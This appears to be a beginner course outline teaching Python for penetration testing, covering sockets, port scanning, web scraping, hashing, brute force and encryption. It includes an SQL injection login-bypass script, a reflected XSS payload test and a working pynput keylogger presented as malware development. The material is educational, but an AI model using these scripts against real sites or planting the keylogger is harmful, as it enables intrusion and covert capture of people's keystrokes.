Python for Hackers

This course is designed to help you understand Python, not just for general programming, but for hacking and cybersecurity. The course will provide you with the knowledge to develop tools and scripts for penetration testing, ethical hacking, and automating security tasks. It covers everything from fundamental to advanced Python concepts.

Table of Contents

Module 1: Introduction to Python for Hacking

Lesson 1.1: Setting Up Python

1. **Installing Python**:
   - Install Python from python.org.
   - Ensure that `pip` (Python's package manager) is installed by typing `pip` in your terminal.
2. **Setting up an IDE**:
   - Recommended IDEs: **PyCharm** or **VSCode**.
   - Install Python packages using `pip`:

   ```
   pip install requests beautifulsoup4 cryptography
   ```
3. **Python Basics**:
   - Variables:

   ```
   x = 10
   name = "Alice"
   ```
   - Data Types (int, float, str, etc.):

   ```
   a = 5         # int
   b = 3.14      # float
   c = "Hello"   # string
   ```
   - Control Structures:

   ```
   if x > 5:
       print("Greater than 5")
   else:
       print("Less or equal to 5")
   ```

Lesson 1.2: Python Fundamentals

1. **Functions and Modules**:

   - Functions allow code reuse:

     ```python
     def greet(name):
         return f"Hello {name}"

     print(greet("Alice"))  # Output: Hello Alice
     ```

2. **Data Types**:

   - **Lists**:

     ```python
     fruits = ["apple", "banana", "cherry"]
     fruits.append("date")
     print(fruits)  # Output: ['apple', 'banana', 'cherry',
     'date']
     ```

   - **Dictionaries**:

     ```python
     user = {"name": "Alice", "age": 25}
     print(user["name"])  # Output: Alice
     ```

3. **File Handling**:

   - Reading and writing files:

     ```python
     with open("file.txt", "w") as f:
         f.write("Hello, world!")

     with open("file.txt", "r") as f:
         print(f.read())  # Output: Hello, world!
     ```

Module 2: Networking with Python

Lesson 2.1: Introduction to Sockets

1. **Socket Programming**:

- **Simple Client**:

  ```
  import socket

  s = socket.socket()
  s.connect(('localhost', 8080))
  s.send(b'Hello Server!')
  data = s.recv(1024)
  print("Received:", data.decode())
  s.close()
  ```

- **Simple Server**:

  ```
  import socket

  s = socket.socket()
  s.bind(('localhost', 8080))
  s.listen(5)
  print("Server listening...")
  while True:
      client, addr = s.accept()
      print("Connection from:", addr)
      client.send(b'Hello Client!')
      client.close()
  ```

Lesson 2.2: Scanning and Reconnaissance

1. **Port Scanning**:

   - Example of a basic port scanner:

     ```
     import socket

     def scan_port(host, port):
         s = socket.socket()
         s.settimeout(1)
         try:
             s.connect((host, port))
             print(f"Port {port} is open")
         except:
             print(f"Port {port} is closed")
         finally:
             s.close()
     ```

```
for port in range(20, 1025):
    scan_port('localhost', port)
```

2. **nmap Integration**:
   - Use `python-nmap` to integrate `nmap` for more advanced scanning:

   ```
   pip install python-nmap
   ```

   ```
   import nmap

   nm = nmap.PortScanner()
   nm.scan('localhost', '22-1025')
   print(nm.all_hosts())
   ```

Lesson 2.3: HTTP Requests and Web Scraping

1. **Making HTTP Requests**:
   - Using the `requests` library:

   ```
   import requests

   response = requests.get('http://example.com')
   print(response.text)  # Output: HTML content of the page
   ```

2. **Web Scraping**:
   - Scraping content from a website using `BeautifulSoup`:

   ```
   pip install beautifulsoup4
   ```

   ```
   from bs4 import BeautifulSoup
   import requests

   url = 'http://example.com'
   response = requests.get(url)
   soup = BeautifulSoup(response.text, 'html.parser')
   ```

```
title = soup.find('title').text
print(title)  # Output: Example Domain
```

Module 3: Automation and Scripting for Security Tasks

Lesson 3.1: Automating the Hacking Process

1. **Using subprocess**:

    - Run shell commands using `subprocess`:

    ```
    import subprocess

    command = "ping -c 4 google.com"
    result = subprocess.run(command, shell=True,
    capture_output=True, text=True)
    print(result.stdout)
    ```

2. **Automation**:

    - Create a Python script to automate repetitive tasks:

    ```
    import subprocess

    def scan_hosts(hosts):
        for host in hosts:
            result = subprocess.run(f"ping -c 1 {host}",
    shell=True, capture_output=True, text=True)
            print(result.stdout)

    hosts = ["192.168.1.1", "192.168.1.2", "google.com"]
    scan_hosts(hosts)
    ```

Lesson 3.2: Password Cracking and Brute Force

1. **Cracking Hashed Passwords**:

    - Using `hashlib` to hash and compare passwords:

```
import hashlib

password = "password123"
hashed_password =
hashlib.sha256(password.encode()).hexdigest()
print(hashed_password)
```

2. **Brute Force Password Cracking**:

   - A brute force script to crack simple passwords:

```
import itertools

def brute_force(password):
    chars = 'abcdefghijklmnopqrstuvwxyz'
    for length in range(1, 5):  # Trying 1 to 4 character
long passwords
        for guess in itertools.product(chars,
repeat=length):
            guess_word = ''.join(guess)
            if guess_word == password:
                print(f"Password found: {guess_word}")
                return

brute_force('abc')
```

Lesson 3.3: Working with Encryption

1. **Encrypting Data**:

   - Encrypting data using the `cryptography` library:

```
pip install cryptography
```

```
from cryptography.fernet import Fernet

# Generate key
key = Fernet.generate_key()
cipher_suite = Fernet(key)

# Encrypt data
text = "Hello, secret world!"
encrypted = cipher_suite.encrypt(text.encode())
```

```
print("Encrypted:", encrypted)

# Decrypt data
decrypted = cipher_suite.decrypt(encrypted).decode()
print("Decrypted:", decrypted)
```

Module 4: Web Application Hacking with Python

Lesson 4.1: Introduction to Web Application Security

1. **OWASP Top 10**:
   - Overview of vulnerabilities like **SQL Injection**, **XSS**, **CSRF**, etc.

Lesson 4.2: SQL Injection with Python

1. **Automating SQLi Attacks**:

   - Example of a script that automates SQL injection attacks using Python:

     ```
     import requests

     url = 'http://example.com/login'
     payload = {'username': "admin' OR '1'='1", 'password':
     "password123"}
     response = requests.post(url, data=payload)

     if "Welcome admin" in response.text:
         print("SQL Injection successful!")
     ```

Lesson 4.3: XSS Attacks with Python

1. **XSS Attack Automation**:

   - Automating a reflected XSS attack with Python:

     ```
     import requests

     url = "http://example.com/search"
     payload = {"query": "<script>alert('XSS')</script>"}
     response = requests.get(url, params=payload)

     if "<script>alert('XSS')</script>" in response.text:
         print("XSS vulnerability found!")
     ```

Module 5: Malware Development and Reverse Engineering

Lesson 5.1: Building a Simple RAT

1. **Creating a Keylogger**:
   - A simple keylogger using `pynput`:

     ```
     pip install pynput
     ```

     ```
     from pynput import keyboard

     def on_press(key):
         try:
             with open("keylog.txt", "a") as f:
                 f.write(str(key.char))
         except AttributeError:
             with open("keylog.txt", "a") as f:
                 f.write(str(key))

     with keyboard.Listener(on_press=on_press) as listener:
         listener.join()
     ```

Lesson 5.2: Reverse Engineering Python Scripts

1. **Dissecting Obfuscated Code**:
   - Techniques to decompile or inspect obfuscated Python code using `pyinstxtractor` or analyzing pyc files.

Conclusion

By following this course, you'll gain hands-on experience with Python tools, techniques, and practices commonly used in ethical hacking and penetration testing. Always remember to practice responsible hacking and only test systems where you have permission.